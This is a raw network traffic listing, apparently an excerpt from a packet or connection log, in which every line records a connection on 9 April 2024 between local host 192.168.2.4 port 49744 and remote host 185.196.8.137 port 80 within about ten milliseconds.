Apr 9, 2024 14:54:07.270514011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270627975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270657063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270673037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270694971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270718098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270750046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270773888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270792961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270823002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270847082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270865917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270910978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270934105 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270956993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270978928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.270993948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271017075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271037102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271218061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271245956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271270990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271296978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271322012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271344900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271369934 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271394014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271455050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271584034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271632910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271632910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271656990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271675110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271701097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271720886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271744013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271761894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271785975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271811962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271843910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271859884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271889925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271924019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271953106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271974087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.271996975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272017956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272043943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272061110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272087097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272102118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272130966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272147894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272175074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272202015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272232056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272255898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272280931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272295952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272321939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272341967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272367001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272448063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.272991896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273019075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273042917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273066044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273082972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273119926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273144960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273178101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273196936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273225069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273240089 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273267031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273288965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273313999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273333073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273356915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273377895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273411989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273428917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273591995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273633003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273689032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273720980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273751974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273771048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273789883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273808002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273829937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273847103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273866892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273881912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273902893 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273920059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273938894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273958921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273978949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.273997068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274018049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274036884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274060965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274082899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274100065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274113894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274135113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274153948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274173021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274189949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274205923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274229050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274250031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274266958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274287939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274307966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274327993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274344921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274369955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274384975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274405956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274424076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274439096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274460077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274477959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274497986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274521112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274538994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274561882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274580956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274599075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274614096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274636030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274652004 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274677992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274696112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274713993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274755001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274755001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274766922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274790049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274810076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274830103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274852991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274868011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274888992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274904013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274925947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274945974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274962902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.274985075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275002956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275022984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275039911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275063992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275084972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275104046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275122881 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275145054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275171995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275193930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275216103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275235891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275259018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275273085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275295973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275319099 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275336027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275362968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275382996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275402069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275418997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275440931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275461912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275480032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275501013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275521040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275536060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275556087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275574923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275593996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275613070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275643110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275660038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275680065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275701046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275724888 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275747061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275767088 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275800943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275800943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275820971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275851011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275870085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275888920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275907993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275934935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275949955 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.275979996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276002884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276021957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276042938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276062965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276088953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276118040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276139021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276160002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276177883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276197910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276217937 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276245117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276263952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276284933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276319027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276344061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276360035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276384115 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276405096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276423931 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276441097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276462078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276484013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276500940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276515961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276663065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276691914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276720047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276736975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276762009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276777029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276814938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276838064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276863098 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276885986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276911020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276926041 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276952028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276968002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.276995897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277012110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277039051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277054071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277081013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277096987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277124882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277144909 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277177095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277194977 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277226925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277250051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277271986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277287006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277313948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277331114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277358055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277379036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277401924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277417898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277443886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277466059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277491093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277513027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277540922 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277559996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277585983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277602911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277628899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277648926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277672052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277695894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277715921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277731895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277759075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277776003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277808905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277825117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277853012 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277873039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277903080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277929068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277947903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277967930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.277990103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278007030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278033018 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278053045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278079033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278091908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278121948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278143883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278167963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278188944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278213978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278228045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278259993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278276920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278306007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.278321981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279629946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279659033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279679060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279705048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279727936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279752016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279767990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279795885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279818058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279839993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279859066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279881954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279908895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279932976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279951096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279977083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.279990911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280018091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280039072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280062914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280083895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280106068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280128002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280154943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280175924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280199051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280215979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280241966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280266047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280286074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280395985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280428886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280440092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280462980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.280488014 CEST	49744	80	192.168.2.4	185.196.8.137
